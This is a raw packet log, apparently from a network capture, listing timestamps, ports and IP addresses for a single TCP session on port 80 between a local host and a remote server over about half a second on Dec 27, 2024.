Dec 27, 2024 15:01:10.354573011 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.355489969 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.355643988 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.355690956 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.356548071 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.356662035 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.356729984 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.357637882 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.357706070 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.357753038 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.358644009 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.358760118 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.358860970 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.359702110 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.405730963 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.496993065 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.497070074 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.497175932 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.497628927 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.497740984 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.498521090 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.498543024 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.498608112 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.498639107 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.499536991 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.499691010 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.499754906 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.500601053 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.500792980 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.500859976 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.501617908 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.501749992 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.502192974 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.502692938 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.502809048 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.503856897 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.503914118 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.503967047 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.504815102 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.504836082 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.504993916 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.505038023 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.505865097 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.506038904 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.506092072 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.506951094 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.507046938 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.508008957 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.508064032 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.508128881 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.508994102 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.509054899 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.509133101 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.509777069 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.510179996 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.510235071 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.510288000 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.511100054 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.511147022 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.511200905 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.512156963 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.512267113 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.513201952 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.513250113 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.513288021 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.513776064 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.514250040 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.514383078 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.514455080 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.515321016 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.515409946 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.516371012 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.516427994 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.516458035 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.517431021 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.517488956 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.517569065 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.517770052 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.518456936 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.518570900 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.518623114 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.519521952 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.519619942 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.519681931 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.520534992 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.520683050 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.521632910 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.521687031 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.521709919 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.521769047 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.522656918 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.522782087 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.522839069 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.523730993 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.523875952 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.523947001 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.524786949 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.524868965 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.524921894 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.525882959 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.526010990 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.526873112 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.526927948 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.526962996 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.527905941 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.527966022 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.528044939 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.528959036 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.529031038 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.529046059 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.529325962 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.530014038 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.530139923 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.531085968 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.531148911 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.531179905 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.532103062 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.532159090 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.532242060 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.532286882 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.533164024 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.533222914 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.533274889 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.534224033 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.534351110 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.534405947 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.535283089 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.535409927 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.535470963 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.536370993 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.536483049 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.537395000 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.537452936 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.537507057 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.537775993 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.538496017 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.538569927 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.538635015 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.539613962 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.539674044 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.539731979 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.540509939 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.540599108 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.540652037 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.541558027 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.541673899 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.541785955 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.542623043 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.542732000 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.543683052 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.543742895 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.543801069 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.544789076 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.544841051 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.544866085 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.544909000 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.545770884 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.545902967 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.545983076 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.546924114 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.546966076 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.547017097 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.547882080 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.547946930 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.547995090 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.548922062 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.549060106 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.549776077 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.549971104 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.550088882 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.551055908 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.551106930 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.551155090 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.552093983 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.552150011 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.689300060 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.689474106 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.689551115 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.689712048 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.689794064 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.690716028 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.690782070 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.690840006 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.691399097 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.691761971 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.691879034 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.691936016 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.692785978 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.692900896 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.692955971 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.693820000 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.693923950 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.693984032 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.694880962 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.695045948 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.695101023 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.695981026 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.696041107 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.696099997 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.697108984 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.697174072 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.697227955 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.698050976 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.698103905 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.698162079 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.699099064 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.699208975 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.699266911 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.700167894 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.700340033 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.700392008 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.701240063 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.701365948 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.701423883 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.702749968 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.702795982 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.702855110 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.703598976 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.703679085 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.703735113 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.704436064 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.704505920 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.705421925 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.705482960 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.705555916 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.705775976 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.706475973 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.706651926 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.706711054 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.707492113 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.707629919 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.707695007 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.708559990 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.708638906 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.708714962 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.709579945 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.709698915 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.709753036 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.710655928 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.710781097 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.710836887 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.711699009 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.711875916 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.711936951 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.712743998 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.712869883 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.712924004 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.713794947 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.713937044 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.713996887 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.714865923 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.714937925 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.714998007 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.715903997 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.716017962 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.716077089 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.717010975 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.717108011 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.717169046 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.717997074 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.718118906 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.718220949 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.719079971 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.719183922 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.720097065 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.720149040 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.720211983 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.721178055 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.721239090 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.721304893 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.721780062 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.722220898 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.722316027 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.722369909 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.723268986 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.723408937 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.723469973 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.724303961 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.724419117 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.724473953 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.725363016 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.725456953 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.725778103 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.726427078 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.726542950 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.726594925 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.727550030 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.727638960 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.727720022 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.728534937 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.728631973 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.728691101 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.729548931 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.729705095 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.729765892 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.730633020 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.730756044 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.730811119 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.731713057 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.731813908 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.731868982 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.732799053 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.732899904 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.732961893 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.733906984 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.734038115 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.734589100 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.734999895 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.735065937 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.735111952 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.735882998 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.736022949 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.736188889 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.736979008 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.736993074 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.737059116 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.738100052 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.738187075 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.738389969 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.739020109 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.739131927 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.739181042 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.740108013 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.740288973 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.740335941 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.741117001 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.741220951 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.741275072 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.742192984 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.742234945 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.742285967 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.743237972 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.743366003 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.743585110 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.744252920 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.796314955 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.881217003 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.881253004 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:10.881310940 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:10.881654024 CET	80	49731	185.215.113.16	192.168.2.5
